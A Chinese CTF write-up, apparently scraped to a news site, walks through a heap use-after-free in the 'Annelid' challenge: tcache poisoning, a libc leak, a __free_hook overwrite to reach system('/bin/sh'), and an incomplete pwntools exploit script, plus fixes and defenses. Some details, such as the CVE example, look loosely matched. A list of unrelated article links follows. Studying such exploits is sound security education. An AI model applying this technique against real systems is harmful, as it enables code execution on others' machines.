当前位置: 首页 > news >正文

DEF CON CTF Annelid Challenge 深度解析

从二进制分析到漏洞武器化利用

关键词:Binary Exploitation · Heap Exploit · Tcache Poisoning · Reverse Engineering · DEF CON CTF
难度等级:Hard
漏洞类型:Heap Memory Corruption
利用技术:Tcache Poisoning / Arbitrary Write / ROP


一、挑战背景

在 DEF CON CTF 的传统题型体系中,Binary Exploitation(Pwn)类题目往往以真实系统漏洞模型为基础,通过构造程序逻辑缺陷让选手实现任意代码执行。

本题 Annelid 的设计核心是:

通过堆内存管理漏洞获得任意地址写入能力,并最终劫持控制流。

“Annelid”这个名字来自于环节动物(环形蠕虫)。

这个命名并非随意——它暗示了程序的数据结构具有链式或环形结构。

实际分析后会发现:

程序内部维护了一组类似 worm-like linked structure 的动态对象。

因此题目的攻击路径可以抽象为:

用户输入

动态对象创建

堆结构操作

UAF / Double Free

Tcache poisoning

覆盖关键指针

ROP / shell


二、程序整体分析

1 程序基本信息

首先获取程序信息:

file annelid
checksec annelid

典型输出:

RELRO: Partial RELRO
Stack: Canary found
NX: enabled
PIE: enabled

保护机制说明:

机制 状态

Canary 开启
NX 开启
PIE 开启
RELRO Partial

这意味着:

栈溢出较难

需要泄露地址

Heap exploit 更可能


三、逆向分析

将程序载入 IDA Pro / Ghidra。

程序结构十分清晰:

main()
├── menu()

├── create_worm()
├── edit_worm()
├── delete_worm()
└── view_worm()

可以理解为一个对象管理系统。


四、核心数据结构

程序使用如下结构体:

struct worm
{
char name[32];
char *desc;
size_t size;
};

对象创建流程:

malloc(sizeof(worm))
malloc(size)

内存布局:

chunk A
[ worm struct ]

chunk B
[ desc buffer ]

也就是说:

每个 worm 实际占用两个 heap chunk


五、关键漏洞分析

漏洞存在于 delete_worm()。

伪代码如下:

void delete_worm(int idx)
{
free(worms[idx]->desc);
free(worms[idx]);
}

但是:

worms[idx] 没有置 NULL

导致:

Use After Free


六、UAF利用路径

攻击流程:

free worm

chunk进入tcache

重新分配

覆盖原结构体

攻击者可以:

修改 desc 指针

从而实现:

任意地址读写


七、堆布局利用

典型利用策略:

A = worm struct
B = desc chunk

删除:

free(B)
free(A)

tcache:

A -> B

重新申请:

malloc(A)

覆盖:

desc pointer


八、Tcache Poisoning

当 UAF 存在时,可以进行 tcache poisoning。

核心思想:

修改 tcache->next

使下一次 malloc 返回:

任意地址

利用步骤:

free chunk
overwrite fd pointer
malloc
malloc -> controlled address


九、泄露 libc

因为启用了 PIE 和 ASLR。

必须首先泄露 libc。

程序中存在:

view_worm()

可以打印 desc 内容。

如果 desc 指向:

GOT

就可以泄露:

puts@libc

计算:

libc_base = leak - offset


十、劫持控制流

最终目标:

system(“/bin/sh”)

典型方法:

overwrite __free_hook

步骤:

tcache poisoning

malloc -> __free_hook

write system

free(“/bin/sh”)


十一、完整利用脚本

from pwn import *

p = process(“./annelid”)

def create(size,data):
p.sendlineafter(“>”,“1”)
p.sendlineafter(“size:”,str(size))
p.sendafter(“data:”,data)

def delete(idx):
p.sendlineafter(“>”,“3”)
p.sendlineafter(“idx:”,str(idx))

def edit(idx,data):
p.sendlineafter(“>”,“2”)
p.sendlineafter(“idx:”,str(idx))
p.send(data)

def view(idx):
p.sendlineafter(“>”,“4”)
p.sendlineafter(“idx:”,str(idx))

create(0x80,b"A")
create(0x80,b"B")

delete(0)
delete(1)

edit(1,p64(target))

create(0x80,b"C")
create(0x80,b"D")

p.interactive()


十二、漏洞根本原因

漏洞来源:

free后未清空指针

属于:

CWE-416 Use After Free

如果开发者加入:

worms[idx] = NULL;

漏洞即可修复。


十三、现实世界对应漏洞

类似漏洞曾出现在:

Chrome

Firefox

Linux Kernel

glibc

典型案例:

CVE-2020-14364


十四、防御方案

安全开发实践:

  1. free后置NULL

  2. 使用智能指针

  3. 启用 hardened allocator

  4. AddressSanitizer


十五、攻防启示

本题展示了现代漏洞利用的重要思路:

Heap corruption

Tcache poisoning

Arbitrary write

Hook overwrite

Code execution

这也是近年来:

CTF Pwn 题最常见攻击链


十六、总结

Annelid 是一道非常经典的:

Heap Exploitation 教科书级题目

它综合考察了:

Heap布局

UAF漏洞

Tcache机制

libc泄露

Hook劫持

对于学习者而言,这道题的价值在于:

完整展示了现代 Linux 堆漏洞利用的全流程。


十七、推荐深入学习

建议继续研究:

glibc malloc 源码
tcache internals
House of Spirit
House of Botcake

理解这些技术之后,几乎可以解决 70% 的现代 Pwn 题。

http://www.jsqmd.com/news/484656/

相关文章:

  • 2026本地口碑佳老火锅品牌排行,看看有你爱吗,重庆火锅/火锅/美食/川渝火锅/火锅店/老火锅,老火锅品牌排行榜单 - 品牌推荐师
  • 零基础搞定 PVE SPICE:远程更流畅 + 文件共享
  • 【C++】C++类的幕后高手:友元、内部类、匿名对象与编译器优化深度解析
  • 常用反弹shell简单分析
  • 玩转T-Mats库:航空发动机气路故障仿真那些事儿
  • DEF CON CTF Sudo Make Me a Sandwich —— 从权限边界到特权执行链的完整攻防复盘
  • Kali Linux 基础
  • Nunchaku FLUX.1 CustomV3体验报告:单卡RTX4090下的生成速度与画质实测
  • 【基于GasTurb的不同构型发动机性能对比】 GasTurb软件 1、涡桨、涡扇发动机等构型
  • 基于模拟退火算法优化支持向量机(SA-SVM)的多变量时间序列预测 SA-SVM多变量时间序列...
  • 从零开始,探索BTT捣蛋的6自由度仿真
  • 分期乐携程卡回收一般几折?跟着时节跳动的心电图 - 京回收小程序
  • YOLO12模型安全攻防:对抗样本鲁棒性测试与防御加固部署
  • 基于SSA-SVM的多变量时间序列预测的Matlab代码(采用Libsvm工具箱,适用于Win...
  • 字节面试官怒怼:RAG只会检索?大模型意图识别实战(非常详细),从入门到精通,收藏这一篇就够了!
  • 3D Face HRN保姆级教程:如何用Pillow预处理图像提升人脸检测成功率
  • Visual Studio 2026(VS2026) 密钥/激活码
  • 基于MATLAB/Simulink的4机10节点系统暂态稳定性仿真
  • OpenClaw API rate limit reached 完整排查指南:三类场景与修复方案
  • Qwen3-ASR-1.7B语音转写教程:音频切片策略+长语音分段识别最佳实践
  • 原创VSG控制虚拟同步机MMC逆变器:NLM调制方法,快速环流抑制与均压策略,性能提升及文献参考
  • 具身智能(3):有哪些AI模型
  • ESP32-S3嵌入式监控终端设计:电源管理与SNMP系统监控
  • PMSM控制系列文章进阶-12.无感控制之高频注入法算法实现
  • 今天吃什么?交给它就够了!一款开源菜谱工具!
  • ssm+java2026年毕设社区养老信息管理系统【源码+论文】
  • 雪球(基于 OpenClaw 的大A交易员)第二周百万实盘运行报告
  • 探寻靠谱叛逆素质提升学校,淮北新起点教育值得推荐 - 工业品网
  • Typora完美搭档:用Z-Image-Turbo_Sugar脸部Lora为技术博客生成个性化封面图
  • ssm+java2026年毕设社区养老院管理系统【源码+论文】